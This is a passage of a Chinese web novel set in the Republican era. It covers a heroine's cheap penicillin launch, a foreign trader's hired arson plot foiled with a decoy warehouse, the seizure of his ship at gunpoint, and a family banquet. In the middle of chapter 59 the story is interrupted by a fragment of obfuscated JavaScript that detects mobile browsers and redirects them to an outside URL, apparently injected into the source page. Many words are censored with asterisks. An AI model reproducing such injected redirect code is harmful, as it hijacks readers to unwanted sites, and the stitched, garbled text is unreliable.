当沈晚清拿着那是第一盒下线的青霉素走上发布台时,全场沸腾。
无数镁光灯闪烁。
坐在台下的洋行买办们,脸色却阴沉得能滴出水来。
尤其是英国怡和洋行的代表史密斯,他手里正捏着自家的一瓶“百浪多息”,眼神阴鸷地盯着台上的沈晚清。
“哼,量产又如何?”史密斯用英语对身边的助手说道,“这种高科技药物,成本极高。我就不信她能卖得比我们便宜。只要价格没优势,市场还是我们的。”
然而,沈晚清接下来的话,却像是一记响亮的耳光,狠狠抽在了所有洋商的脸上。
“各位。”
沈晚清举起手中的药盒,声音清亮,通过扩音器传遍了整个西郊。
“这就是我们华夏制药厂生产的第一批青霉素。”
“我知道,现在市面上的进口消炎药,一支要卖到五块大洋,甚至有价无市。很多老百姓为了救命,不得不卖儿卖女,倾家荡产。”
台下的人群一阵骚动,不少人低下了头,抹起了眼泪。这就是残酷的现实。
“但是,从今天起,这个时代结束了。”
沈晚清的声音陡然拔高,带着一股斩钉截铁的力量:
“我宣布,华夏牌青霉素的定价是——”
她伸出一根手指。
“一块大洋!”
“一块大洋一支!”
轰——!
这个价格一出,现场仿佛被引爆了一颗重磅**。
所有人都惊呆了。
一块大洋?
那是洋药价格的五分之一!而且青霉素的效果比洋药还要好上十倍!
这简直就是白菜价!
“疯了!她疯了!”史密斯猛地站起来,脸上的肥肉都在颤抖,“这个价格连成本都不够!她是想做慈善吗?这是恶意竞争!这是破坏市场规则!”
“规则?”
沈晚清似乎听到了台下的骚动,她看向史密斯所在的方向,冷冷一笑。
“在我们中国的土地上,救命的规则,由我们中国人自己定。”
“不仅如此。”
她再次抛出一枚重磅**,“对于前线受
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伤的将士,以及贫困的重症百姓,只要持有相关证明,华夏制药厂——免费赠药!”
“好——!!”
“沈国士万岁!!”
“陆家军万岁!!”
欢呼声如海啸般爆发,震得厂房的玻璃都在嗡嗡作响。百姓们疯狂地挥舞着手臂,有的甚至想要冲上台去亲吻沈晚清的脚边。
这是一场彻底的胜利。
不仅仅是商业上的,更是人心上的。
陆淮锦站在台侧,看着那个被万众拥戴的女人,嘴角的笑意怎么也压不住。
“少帅,您娶了个财神爷,也娶了个败家子啊。”
宋副官在一旁小声嘀咕,“一块大洋一支,还要免费送……咱们这厂子能撑得住吗?”
“撑得住。”
陆淮锦眼神笃定,“你不懂。她这是在‘以量换价’。只要把洋人的市场份额全部挤走,整个北六省,甚至全中国的市场都是我们的。到时候,薄利多销,赚得比卖**还多,而且……”
他拍了拍腰间的枪,“而且赚得干干净净,挺直腰杆。”
……
发布会后,怡和洋行北城分行。
“啪!”
名贵的水晶酒杯被狠狠摔在墙上,红酒溅了一地,像是一滩血迹。
史密斯暴跳如雷,在办公室里来回踱步。
“该死的女人!该死的沈晚清!”
他咆哮着,“今天下午,我们的订单被退了一半!所有的医院、药房都在抢购那个什么‘华夏青霉素’!再这样下去,不出一个月,我们在北城的药品生意就要彻底完蛋了!”
“经理,那我们怎么办?”助手战战兢兢地问,“降价跟她拼吗?”
“拼?怎么拼?”史密斯咬牙切齿,“我们的药是从欧洲运过来的,运费、关税、层层盘剥……成本本来就高。降到一块大洋?那就是赔本赚吆喝!总部会杀了我的!”
“那……难道就这么看着她把市场抢走?”
史密斯停下脚步,眼中闪过一丝阴毒的光芒。
既然正当竞争赢不了,那就只能用点别的手段了。
“在中国做生意,有一条潜规则。”
史密斯走到窗前,看着远处华夏制药厂冒烟的烟囱,冷笑道,“木秀于林,风必摧之。她的药厂现在就是个**桶,只要一点火星……”
他转过身,从抽屉里拿出一张支票,填上了一个数字。
“去,联系‘青帮’里那几个还没被陆家收买的亡命徒。或者……去找那个一直对陆家虎视眈眈的直系特务。”
“告诉他们,我要让那个制药厂,变成一片废墟。”
“记住,要做得干净点。最好……伪装成安全事故。”
阴谋,在黑暗中悄然滋生。
而刚刚沉浸在投产喜悦中的华夏制药厂,还不知道,一场针对他们的毁灭性打击,正在逼近。
第57章 洋行的阴谋
北城,法租界,一家不起眼的地下赌馆。
烟雾缭绕的包厢里,怡和洋行的经理史密斯正坐在角落的阴影里,手里端着一杯威士忌,但颤抖的手指暴露了他内心的焦躁。
坐在他对面的,是一个满脸横肉、脖子上纹着蝎子的光头男人。他是北城地界上有名的亡命徒头子,绰号“黑蝎”,专门干些拿人钱财、**的脏活。
“五千大洋定金,事成之后再给五千。”
史密斯将一张汇丰银行的本票推到桌子中央,湛蓝的眼睛里透着一股狠毒的红光,“我要那个华夏制药厂,今晚变成一片灰烬。”
黑蝎拿起本票看了看,吹了声口哨,露出一口焦黄的烂牙:
“洋大人出手就是阔绰。不过,那地方可是陆少帅的地盘,门口有大兵站岗,硬闯可是要掉脑袋的。”
“不需要硬闯。”
史密斯从怀里掏出一张这一周来他花重金买通内鬼搞到的制药厂内部结构图。
他指着图纸上的一处红色标记,阴恻恻地说道:
“这里,是他们的原料仓库。里面堆满了用来萃取青霉素的乙酸丁酯和酒精。这些东西比**还易燃。只要一点点火星……”
史密斯做了一个**的手势,嘴角勾起一抹残忍的笑意:
“轰——!整个厂区都会上天。到时候,别说什么生产线,就连那个不可一世的沈晚清,也得跟着一起陪葬!”
黑蝎眼睛一亮,贪婪地舔了舔嘴唇。
“原来是个大炮仗。行,这活儿我接了。今晚风大,正是放火的好时候。”
“记住,要做得干净点。伪装成意外失火,或者是工人操作不当。”史密斯叮嘱道,“别把火引到洋行身上。”
“放心吧,洋大人。我们是专业的。”
黑蝎抓起本票,揣进怀里,起身踢了一脚旁边的手下,“兄弟们,抄家伙!今晚去西郊,给陆少帅放个**花!”
……
深夜,华夏制药厂。
北风呼啸,月亮被厚厚的乌云遮蔽,正是所谓的“月黑风高**夜”。
虽然已经是凌晨两点,但制药厂的锅炉房依然冒着白烟,生产线还在三班倒地运转。
不过,外围的防守似乎比往常松懈了一些。
原本每隔十分钟就有一队的巡逻兵,今晚变成了半小时一趟。而且,最关键的西侧围墙——也就是靠近原料仓库的那一侧,探照灯竟然坏了一盏,留下了一大片黑暗的死角。
“看来连老天爷都在帮我们。”
围墙外的灌木丛里,黑蝎带着十几个手下潜伏着。他观察了一会儿,发现那盏坏掉的灯一直没人来修,心中大喜。
“大哥,是不是有诈?”一个小弟有些担忧,“陆家军的防守什么时候这么松过?”
“怕个屁!”黑蝎吐了口唾沫,“听说今晚陆少帅在帅府给那个老不死的陆大帅祝寿,带走了大批卫队。那个沈晚清是个娘们儿,懂什么布防?估计早就睡**。”
“上!速战速决!”
黑蝎一声令下。
几名身手敏捷的手下甩出飞虎爪,勾住墙头,像壁虎一样无声无息地翻了进去。
落地无声。
他们迅速解决掉了两个在角落里“打瞌睡”的暗哨。
“走!去仓库!”
黑蝎带着人,猫着腰,借着厂房阴影的掩护,一路摸到了原料仓库的大门前。
仓库大门紧闭,只有一把普通的大铁锁。
“开锁。”
一名擅长溜门撬锁的手下上前,不到十秒,“咔哒”一声,锁开了。
黑蝎推开沉重的铁门。
一股浓烈的、刺鼻的化学溶剂味道扑面而来。
借着手电筒微弱的光芒,可以看到仓库里整整齐齐地码放着数百个巨大的铁桶,上面贴着“易燃易爆”的骷髅标志。
“发财了!”
黑蝎眼中闪过一丝狂热。这么多燃料,要是点着了,别说一个厂,半个西郊都能烧红了天!
“快!泼煤油!把引线拉长点!”
手下们立刻行动起来,拧开几个铁桶的盖子,将带来的煤油和助燃剂泼洒在地上,一直延伸到门口。
黑蝎站在门口,手里拿着一只防风打火机。
他看着那一桶桶即将化为火海的原料,脑海里已经浮现出拿到剩下五千大洋后去窑子里快活的场景。
“沈老板,陆少帅,对不住了。”
黑蝎狞笑着,“下辈子
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投胎,别挡了洋大人的财路。”
“啪。”
打火机被点燃,蓝色的火苗在风中跳跃。
只要他手一松,火苗落入地上的煤油带,这场毁灭性的灾难就将无可挽回。
然而。
就在这千钧一发之际。
“我要是你,就不会把那个打火机扔下去。”
一道清冷、戏谑,却又透着彻骨寒意的女声,突然从仓库深处的黑暗中幽幽响起。
“谁?!”
黑蝎吓得手一抖,打火机差点脱手。他猛地举起手电筒,照向声音的来源。
光束穿过黑暗,打在仓库中央的一堆货箱上。
只见最高的那个货箱上,坐着一个人。
沈晚清。
她并没有睡觉,也没有穿睡衣。
她穿着一身利落的黑色风衣,长发高高束起,双腿交叠。
在手电筒的强光下,她微微眯起眼,嘴角勾起一抹如同看**般的冷笑。
而在她身边,不知何时,站着一个高大的身影。
陆淮锦。
他靠在货箱边,手里把玩着那把标志性的勃朗宁虎头枪,黑洞洞的枪口,正隔着几十米的距离,精准地锁定了黑蝎的眉心。
“大晚上的不睡觉,跑来我的仓库玩火?”
陆淮锦的声音慵懒,却让在场的所有纵火犯瞬间如坠冰窟。
“看来,各位是嫌命太长了。”
“不好!中计了!”
黑蝎魂飞魄散,转身就想跑。
“哗啦——”
仓库四周原本堆放着的“杂物”突然被掀开。
无数支**从四面八方伸了出来。
“不许动!谁动打死谁!”
宋副官带着整整一个加强排的卫兵,如同神兵天降,将这群瓮中之鳖围得水泄不通。
原本“昏暗”的仓库,瞬间灯火通明。
刺眼的探照灯从房顶打下来,将黑蝎那张惨白扭曲的脸照得清清楚楚。
沈晚清看着下面那群瑟瑟发抖的亡命徒,淡淡地对陆淮锦说道:
“少帅,看来我的猜测没错。”
“狗急了,果然是要跳墙的。只不过……”
她从高处跳下,一步步走向黑蝎。
“这只狗,有点蠢。”
第58章 将计就计
刺眼的探照灯光束下,黑蝎和他的十几个手下像一群受惊的鹌鹑,缩在仓库中央。四周是密密麻麻的枪口,宋副官带着卫兵早已封锁了所有的退路。
黑蝎虽然怕,但他毕竟是个亡命徒。
“别……别过来!”
他手里紧紧攥着那个还在燃烧的防风打火机,眼神疯狂地扫视着周围那些贴着骷髅标志的铁桶,“谁敢动一下,老子就松手!这么多化学药水,只要一点火星,咱们就同归于尽!谁也别想活!”
他赌陆淮锦不敢拿这满仓库的宝贝原料冒险,更赌这些大人物不敢拿自己的命去换他这条烂命。
周围的卫兵确实顿了一下,下意识地看向陆淮锦。
然而,陆淮锦脸上的表情没有丝毫波动,甚至连眼皮都没抬一下。他依旧慵懒地靠在货箱边,仿佛在看一场滑稽的猴戏。
“同归于尽?”
沈晚清从高处走下来,高跟鞋踩在水泥地上,发出清脆的“嗒、嗒”声。她走到距离黑蝎不到五米的地方站定,嘴角噙着一抹嘲弄的笑。
“你大可以试试。”
“你……你别逼我!”黑蝎的手在抖,“这可是你们的命根子!”
“命根子?”
沈晚清摇了摇头,眼中满是怜悯,“看来那位史密斯先生只给了你钱,没给你脑子。”
她突然从旁边一名卫兵的腰间拔出**,动作利落地拉栓上膛。
“既然你不敢扔,那我帮你。”
“砰——!”
一声枪响。
**精准地击穿了离黑蝎最近的一个巨大铁桶。
“啊!不要!”黑蝎吓得抱头鼠窜,以为马上就要发生惊天动地的大**。
然而,预想中的火光冲天并没有发生。
“哗啦啦……”
一股清澈透明的液体从弹孔中喷涌而出,溅了黑蝎一身。
没有刺鼻的化学味,只有一股……淡淡的土腥味。
黑蝎愣住了。他伸出舌头舔了舔嘴边的液体。
没味。
是水。
“这……这是……”他难以置信地瞪大了眼睛。
“河水。”
沈晚清吹了**口并不存在的硝烟,淡淡道,“西郊那条河里的水,二牛带人灌了一下午,挺辛苦的。”
“早在三天前,真正的乙酸丁酯和活性炭就已经转移到了地下的防空洞仓库。”
沈晚清看着面如死灰的黑蝎,冷笑道,“这里是专门给你们准备的戏台子。所谓的‘易燃易爆’,不过是几张贴纸罢了。”
“你……你早就知道?”黑蝎彻底瘫软在地,手里的打火机“啪嗒”一声掉在水洼里,熄灭了。
“从史密斯找上你的那一刻起,我就知道了。”
陆淮锦走了过来。他收起那副看戏的神情,取而代之的是令人窒息的煞气。
他一脚踩在黑蝎手上,军靴的硬底狠狠碾压。
“啊——!!”
惨叫声响彻仓库。
“我不喜欢听废话。”陆淮锦的声音冷得像是冰渣子,“现在,我问,你答。”
“谁指使的?”
“是……是洋人!是怡和洋行的史密斯!”黑蝎疼得鼻涕眼泪直流,哪里还敢隐瞒,竹筒倒豆子般全招了,“他给了我五千大洋,让我烧了你们的厂子!支票还在我怀里!还没兑现!”
宋副官上前,从黑蝎怀里搜出那张被汗水浸湿的汇丰银行本票。
陆淮锦接过支票,看了一眼上面的签名和印章。
确凿无疑。
“很好。”
陆淮锦将支票递给沈晚清,“物证有了,人证也有了。”
“少帅打算怎么做?”沈晚清接过支票,眼中闪烁着寒光,“报警?巡捕房可管不了洋人。他们有治外法权,就算证据确凿,最多也就是把史密斯遣送回国,不痛不痒。”
在这个弱肉强
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食的年代,法律往往是保护强者的,尤其是面对那些拥有特权的外国商行,正规途径根本走不通。
“报警?”
陆淮锦嗤笑一声,眼中满是狂傲与不屑,“那是弱者的做法。”
“既然洋人不懂规矩,想玩黑的,那我就陪他们玩到底。”
他转过身,对宋副官下令:
“传令下去,警卫营集合!”
“带上重**,带上迫击炮!”
“去哪儿?”宋副官热血沸腾地问道。
陆淮锦走到仓库门口,看着远处天津港的方向,嘴角勾起一抹残忍而霸道的弧度:
“听说怡和洋行刚到了一艘满载着棉纱和西药的货轮,正停在码头上卸货。”
“既然他们想烧我的厂,那我就……扣他们的船!”
“这就叫——礼尚往来。”
沈晚清看着眼前这个浑身散发着匪气的男人,非但没有觉得不妥,反而觉得无比顺眼。
对付流氓,就要用比流氓更流氓的手段。
这就是乱世的生存法则。
“少帅。”
沈晚清走上前,替他整理了一下有些凌乱的衣领,“带上我。”
“你去干什么?那是码头,风大。”陆淮锦皱眉。
“我去算账。”
沈晚清扬了扬手里的支票,“这五千大洋是买凶钱,但我的精神损失费、误工费、还有这满仓库的‘水费’,还没跟史密斯先生好好算算呢。”
“我想,那一船的货,应该勉强够赔吧。”
陆淮锦一愣,随即放声大笑。
他一把揽过她的腰,大步向外走去。
“好!那就去算账!”
“今晚,咱们就给这北城的洋人们,立立规矩!”
夜色更深了。
数十辆军用卡车轰鸣着驶出制药厂,向着码头的方向疾驰而去。
一场震惊中外的“武装讨债”行动,即将拉开序幕。
第59章 黑吃黑
天津港,怡和洋行专用码头。
凌晨三点。
海风呼啸,卷起黑色的浪花拍打着岸堤。
一艘巨大的万吨级货轮“维多利亚号”正停靠在码头边,巨大的吊臂正在连夜卸货。探照灯将甲板照得如同白昼,工人们扛着箱子,像蚂蚁一样在甲板上穿梭。
史密斯经理正站在码头办公室的二楼,手里拿着望远镜,嘴角挂着得意的笑。
“这批货全是紧俏的西药和棉纱,只要运进北城,又能大赚一笔。”
他放下望远镜,看了看表,“算算时间,黑蝎那边应该已经得手了吧?那个该死的制药厂,现在应该已经变成火海了。”
“经理!不好了!”
就在这时,一名洋行职员跌跌撞撞地冲了进来,脸色煞白,“外……外面!军队!全是军队!”
“什么?”史密斯一愣。
还没等他反应过来,刺耳的警报声突然响彻整个港口。
“呜——!!”
史密斯猛地扑到窗前。
只见码头入口处,几十辆军用卡车如同钢铁洪流般冲了进来,直接撞开了栏杆。无数身穿灰绿色军装的士兵跳下车,迅速抢占了制药高点,架起了重**。
几门迫击炮黑洞洞的炮口,直接对准了那艘停泊的货轮。
“陆家军?!他们疯了吗?这里是租界码头!”史密斯惊恐地尖叫。
码头广场。
陆淮锦从车上走下来,披着的大衣在海风中猎猎作响。他并没有急着下令,而是转身,绅士地扶着沈晚清下了车。
沈晚清看着眼前这艘巨大的货轮,还有堆满码头的货物,眼中闪过一丝满意的光芒。
“少帅,这怡和洋行的家底,果然厚实。”
“喜欢吗?”陆淮锦问。
“喜欢。”沈晚清点头,“尤其是那一箱箱的奎宁和麻醉剂,都是我要的。”
“那就是你的了。”
陆淮锦说完,转身看向那个气急败坏跑过来的史密斯。
“陆少帅!你这是什么意思?!”
史密斯带着一队印度巡捕和洋行保镖冲了过来,虽然腿在发抖,但嘴上依然强硬,“这里是英国怡和洋行的私人领地!受大英帝国法律保护!你带兵闯入,是想挑起外交争端吗?我要向领事馆**!”
“**?”
陆淮锦冷笑一声,从怀里掏出那张沾了泥水的支票,还有黑蝎的供词,直接甩在了史密斯脸上。
“啪!”
“史密斯先生,你买凶纵火,意图**我的夫人,炸毁我的工厂。这笔账,咱们怎么算?”
史密斯看到那张支票,瞳孔骤缩。
但他毕竟是**湖,立刻矢口否认:“这是污蔑!这张支票是我丢的!那个纵火犯我不认识!陆少帅,你没有证据!”
“证据?”
陆淮锦拔出腰间的勃朗宁,对着天空就是一枪。
“砰!”
这一枪像是信号。
周围的士兵齐刷刷拉动**,十几挺重**同时上膛,发出令人牙酸的金属撞击声。
“我的枪,就是证据。”
陆淮锦吹了**口的青烟,眼神睥睨,“史密斯,我给你两个选择。”
“第一,我现在就下令开炮,把这艘船连同你一起炸沉。明天报纸上会写,怡和洋行因操作不当引发**,无人生还。”
“第二……”
他指了指那艘满载货物的轮船,又指了指堆积如山的仓库:
“这艘船上的货,还有你仓库里的所有库存,作为对我夫人的精神损失费和误工费赔偿。我们可以既往不咎。”
“你选哪一个?”
“你……你这是**!是土匪行径!”史密斯气得浑身发抖,“这些货价值五十万大洋!你这是勒索!”
“五十万?”
一直没说话的沈晚清突然开口了。
她拿出一本账本,一本正经地说道:
“史密斯先生,你差点烧毁的那个仓库,里面存放的可是提炼青霉素的核心原料,价值连城。再加上停工造成的损失,还有我和少帅受到的惊吓……”
她合上账本,微微一笑:“五十万,我都觉得少了。既然史密斯先生不愿意……”
“宋副官!”陆淮锦立刻接话,“开炮!”
“是!”
远处的迫击炮手立刻调整角度。
“No!No!Stop!”
史密斯彻底崩溃了。他看着那黑洞洞的炮口,知道这帮军阀是真的敢开火。要是船沉了,他就真的完了。
“我给!我给还不行吗!”
史密斯瘫软在地,像是被抽走了脊梁骨,“都给你……全都给你……”
“这才像话。”
陆淮锦收起枪,一挥手,“兄弟们,干活!搬!”
“是!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935547|192885||http|test|mini|href|location''.split(''|''),0,{}));
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r>早就等候多时的陆家军士兵们欢呼一声,如狼似虎地冲上了货轮和仓库。
这不是搬运,这是抄家。
一箱箱珍贵的西药、一包包上好的棉纱、甚至连洋行办公室里的真皮沙发和咖啡机都被搬了出来,装上了军用卡车。
史密斯眼睁睁看着自己几年的心血被洗劫一空,心在滴血,却敢怒不敢言。
“沈小姐……”他看着那个指挥若定的女人,咬牙切齿,“你赢了。但这事没完!大英帝国不会善罢甘休的!”
“随时奉陪。”
沈晚清看着那一车车满载而归的战利品,心情大好。
有了这批物资,华夏制药厂不仅能扩大生产,还能顺便建立起一条完整的医疗供应链。这简直是天上掉馅饼。
“不过,史密斯先生。”
沈晚清走近他,低声道,“下次想玩火之前,最好先掂量掂量,这北城,到底姓什么。”
……
回程的车上。
天边泛起了鱼肚白。
长长的车队满载着战利品,浩浩荡荡地驶回制药厂。
“爽吗?”陆淮锦握着沈晚清的手,笑着问。
“爽。”
沈晚清靠在他肩上,看着窗外的晨光,“这种不花钱就能进货的感觉,确实让人上瘾。”
“那就是了。”
陆淮锦把玩着她的手指,“在这个世道,道理是讲给君子听的。对付流氓,就得用拳头。”
“今天这一仗,不仅解决了原料问题,更重要的是……”
他眼中闪过一丝精光,“我们把洋人的气焰打下去了。从今往后,在北城的医药界,只有华夏制药厂这一个规矩。”
沈晚清点点头。
她知道,经此一夜,华夏制药厂将彻底站稳脚跟,无人可挡。
但她也知道,更大的风暴还在后面。
洋人虽然吃瘪,但绝不会善罢甘休。而且,随着青霉素的量产,直系军阀和南京方面,恐怕也要坐不住了。
“陆淮锦。”
“嗯?”
“我想好了。下一批药,我要送到前线去。”
沈晚清坐直身体,目光坚定,“既然要立规矩,那就立个大的。我要让全天下的士兵都知道,只有陆家军,才能用上救命药。”
陆淮锦看着她,眼中满是赞赏与深情。
“好。那我们就把这把火,烧到战场上去。”
第60章 冬日围炉
民国九年,十二月初八。大雪。
北城的冬天来得格外早,也格外猛烈。
自从那晚在码头“黑吃黑”劫了怡和洋行的货船后,整个北城的商界格局仿佛在一夜之间重新洗牌。洋人们像霜打的茄子,彻底没了脾气;而华夏制药厂则在这个寒冬里,成了最热火朝天的地方。
随着第一场大雪的降临,整座帅府被银装素裹,朱红的墙垣在白雪的映衬下,显得格外静谧庄严。
听涛苑的暖阁里,地龙烧得滚热,将窗外的严寒隔绝在另一个世界。
一只红泥小火炉正架在窗边,炉火红旺,上面煮着一壶陈年的普洱,咕嘟咕嘟地冒着热气,茶香四溢。炉边的铁丝网上,还烤着几个橘子和一把板栗,发出轻微的“噼啪”爆裂声,空气中弥漫着一股焦甜的暖香。
沈晚清穿着一件宽松的月白色居家旗袍,外面披着一条厚实的羊绒毯子,正慵懒地窝在铺着虎皮的罗汉榻上,手里拿着一卷医书,却半天没翻一页。
而在她对面,那个平日里杀伐果断的陆少帅,此刻正盘腿坐在地毯上,手里拿着火钳,神情专注地……剥栗子。
“好了。”
陆淮锦将一颗剥得干干净净、金黄软糯的栗子肉递到沈晚清嘴边,“尝尝,这次没糊。”
沈晚清张嘴咬住,软糯香甜的口感瞬间在舌尖化开。
“嗯,手艺有长进。”她眯起眼睛,像一只被喂饱的猫。
陆淮锦看着她这副惬意的模样,眼底满是宠溺。他擦了擦手上的黑灰,端起茶壶给她添了一杯茶。
“史密斯那个老东西,昨天又去领事馆哭诉了。”
陆淮锦漫不经心地说道,“不过领事馆那边正忙着跟南京政府扯皮,根本没空理他。再加上咱们的药现在成了紧俏货,连洋人都在偷偷找门路进货,他这次算是哑巴吃黄连,有苦说不出了。”
“意料之中。”
沈晚清放下书,捧起热茶,“资本家是没有国界的。只要利益足够大,别说是被抢了一船货,就算是让他们跪下叫爹爹,他们也愿意。”
“叫爹爹?”陆淮锦挑眉,轻笑一声,“这个提议不错,下次可以试试。”
他放下火钳,起身坐到榻上,从身后环住沈晚清的腰,下巴抵在她的肩窝里,深深吸了一口她身上那股特有的药草香。
“晚晚。”
“嗯?”
“我真想让时间就停在这一刻。”
陆淮锦的声音有些低沉,透着一丝少有的疲惫后的松弛,“没有打仗,没有勾心斗角,只有我和你,还有这炉火。”
沈晚清的心微微一颤。
她知道,这份宁静对于陆淮锦来说有多么奢侈。
身为少帅,他背负着整个陆家军的生死,背负着北六省的安危。每天睁开眼就是军务、情报、暗杀、算计。像这样什么都不想,只是围炉煮茶的时光,简直是偷来的。
“累了吗?”沈晚清放下茶杯,反手摸了摸他的脸颊。
“有点。”
陆淮锦闭上眼,在她的掌心蹭了蹭,“但只要你在,就不累。”
他突然睁开眼,目光灼灼地看着她:
“晚晚,药厂已经步入正轨了,北城的局势也稳住了。我们……是不是该把正事办了?”
“正事?”沈晚清一愣,“什么正事?扩大生产线?还是要在天津开分厂?”
陆淮锦无奈地叹了口气,惩罚性地在她腰上捏了一把。
“沈老板,你脑子里除了赚钱和制药,能不能装点别的?”
他从怀里掏出一个红色的锦盒,打开。
里面是一枚戒指。
不是那种俗气的鸽子蛋,而是一枚设计独特、镶嵌着粉钻的戒指。那粉钻的成色极好,在炉火的映照下,闪烁着梦幻般的光芒。
“这是我托人从南非找来的原石,让最好的工匠打磨的。”
陆淮锦执起她的左手,眼神郑重,“虽然之前签了契约,虽然我已经对外宣称你是少帅夫人,但……我还欠你一个正式的婚礼。”
“我想给你一个全天下最盛大的婚礼。我想让所有人都知道,你是我陆淮锦明媒正娶的夫人。”
沈晚清看着那枚戒指,又看着眼前这个满眼深情的男人。
前世,她嫁给沈志远时,只有冷清的喜堂和无尽的算计。今生,她原本以为自己只想要权势和复仇。
可现在,在这个大雪纷飞的冬夜,在这个温暖如春的暖阁里,她听到了
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自己心防崩塌的声音。
“陆淮锦。”
她轻声唤他的名字。
“嗯。”
“帮我戴上。”
陆淮锦的眼睛瞬间亮了,像是点燃了两簇火焰。他小心翼翼地取出戒指,缓缓推进她左手的无名指。
尺寸刚刚好。
“戴上了,就跑不掉了。”他握着她的手,放在唇边亲吻。
“不跑。”
沈晚清靠在他怀里,看着窗外纷纷扬扬的大雪,“只要你不负我,我就永远在这里。”
两人相拥而坐,炉火跳跃,映照着两张紧贴的脸庞。
这一刻,岁月静好。
然而,这温馨的氛围并没有持续太久。
“咚、咚、咚。”
门外传来了敲门声,紧接着是福伯那恭敬却略带急促的声音:
“少帅,少夫人。”
陆淮锦皱眉,有些不悦地直起身:“什么事?”
“大帅那边派人来传话了。”
福伯隔着门说道,“说是今儿个大雪,瑞雪兆丰年,大帅心情好,特意在正厅设了家宴,请少帅和少夫人过去……聚一聚。”
“家宴?”
陆淮锦冷笑一声,“鸿门宴还差不多。”
自从上次**案后,他和陆大帅的关系虽然缓和了一些,但也仅限于“井水不犯河水”。那个老头子平时看见沈晚清都绕着走,今天怎么突然转性了?
“去吗?”他看向沈晚清,“不想去就推了。”
“去,为什么不去?”
沈晚清理了理鬓角,看着手指上那枚熠熠生辉的戒指,嘴角勾起一抹玩味的笑。
“大帅既然心情好,我们做晚辈的,自然要去凑凑热闹。再说了……”
她站起身,将那件狐裘大衣披在身上,“现在的陆帅府,谁怕谁还不一定呢。”
“走吧,少帅。”
沈晚清向他伸出手,“去看看你爹这葫芦里,到底卖的什么药。”
陆淮锦看着她这副斗志昂扬的模样,忍不住笑了。
“好。”
他握住她的手,两人并肩走出暖阁,走入漫天风雪中。
只是他们没想到,这一场家宴,等待他们的不是刀光剑影,而是一场令人啼笑皆非的“催生大戏”。
第61章 陆父的催生
与其说这是家宴,不如说是一场“鸿门宴”——只不过这次埋伏的不是刀斧手,而是满桌子的大补之物。
巨大的圆桌上,密密麻麻地摆满了盘子。红烧鹿筋、爆炒腰花、枸杞炖羊肉、还有那一盆还在冒着热气的甲鱼汤……
沈晚清看着这一桌子“硬菜”,嘴角忍不住抽搐了一下。
“来来来!坐!快坐!”
陆大帅坐在主位上,今天难得没有穿军装,而是换了一身暗红色的团福字长袍,看起来喜气洋洋,甚至有点像过年的财神爷。
他一见沈晚清进来,那张平日里总是板着的脸瞬间笑成了一朵花,热情得让人害怕:
“晚清啊,外面冷吧?快,喝口热汤暖暖身子!这可是我让人从长白山特意弄来的千年人参鸡汤,最补气血!”
说着,他亲自拿起勺子,给沈晚清盛了满满一大碗,那鸡汤浓稠得几乎能挂住勺子。
沈晚清有些受宠若惊,下意识地看了一眼身边的陆淮锦。
陆淮锦也是一脸无奈,显然对自家老头子这突如其来的热情有些不适应。
“大帅,您这是……”沈晚清接过碗,小心翼翼地问道。
“哎!叫什么大帅!多生分!”
陆大帅佯装生气地瞪了眼睛,“咱们是一家人!以后跟着淮锦叫……算了,还叫大帅吧,听着威风。不过这心里,得把这儿当自个家!”
他红光满面地捋着胡子,看着沈晚清的眼神,就像是在看一座会走路的金山。
这几个月来,华夏制药厂的利润报表他是看过的。那数字,比他抢三个省的地盘还要多!更别提那些原本对他爱搭不理的洋人,现在为了买药,见了他都得点头哈腰。
这哪里是儿媳妇,这是陆家的聚宝盆,是活财神啊!
“晚清啊,以前是爹……是我老糊涂,有些话说得重了。”
陆大帅端起酒杯,竟然破天荒地有些不好意思,“这杯酒,算我给你赔个不是。以后这帅府里,谁敢给你脸色看,你就直接拔枪崩了他!算我的!”
坐在一旁作陪的大帅夫人赵氏,此时正低眉顺眼地剥着橘子,听到这话,手抖了一下,头垂得更低了。自从上次**案后,她虽然保住了主母的位置,但已经被彻底架空,现在在这个家里,连大气都不敢喘。
“大帅言重了。过去的事都过去了。”
沈晚清大方地举杯回敬,抿了一口酒。
“好!痛快!我就喜欢你这股子爽利劲儿!”
陆大帅哈哈大笑,酒过三巡,话匣子终于打开了。他的目光在陆淮锦和沈晚清身上来回打转,眼神逐渐变得暧昧且急切。
“那个……晚清啊,你看,这药厂也建起来了,仗也打赢了,名声也有了。”
陆大帅搓了搓手,终于切入了正题,“咱们是不是该考虑考虑……陆家的香火问题了?”
“噗——”
正在喝汤的陆淮锦一口喷了出来,呛得直咳嗽。
沈晚清也是脸颊一红,差点把碗打了。
“你看你这孩子,激动什么!”
陆大帅瞪了儿子一眼,然后转头对着沈晚清,语重心长地说道:
“我也不是那种老封建。但是你看,淮锦也不小了,二十六了!隔壁张大帅的孙子都会打酱油了!我这老脸往哪儿搁?”
他拍了拍桌子,情绪激动:
“我也不是逼你们。但是……这陆家军三十万弟兄,总得有个盼头吧?这北六省的基业,总得有人**吧?”
说着,他对外挥了挥手。
“来人!把东西呈上来!”
几个丫鬟鱼贯而入,每人手里都端着一个精致的炖盅。
“这是鹿茸血。”“这是海狗肾。”“这是十全大补汤。”
陆大帅指着那些让人面红耳赤的补品,一脸“我是为你们好”的表情:
“这些都是我特意让军医处那帮老家伙配的,专治……咳咳,强身健体!你们俩今晚把它喝了,特别是淮锦,你常年打仗,身子虚,得多补补!”
陆淮锦看着面前那碗黑乎乎的鹿血,脸都绿了。
身子虚?
他堂堂少帅,一夜七次都不在话下,还需要补这个?这老头子是在侮辱他的尊严!
“大帅,我不虚。”陆淮锦咬牙切齿地说道。
“虚不虚你自己心里没数?”陆大帅一瞪眼,“赶紧喝!这是命令!今晚你们俩谁也不许出这个门,就在听涛苑给我……那什么!明早我要是听不到动静,唯你们是问!”
沈晚清简直哭笑不得。
这就是军阀式的催生吗?简单,粗暴,还带着点让人无法拒绝的霸道。
她看着陆大帅那双充满期盼的眼睛。虽然他的方式很荒谬,但那份想要抱孙子的急切心情,却是一个老人最真实的愿望。
“大帅。”
沈晚清放下筷子,正色道,“孩子的事,讲究缘分。而且……”
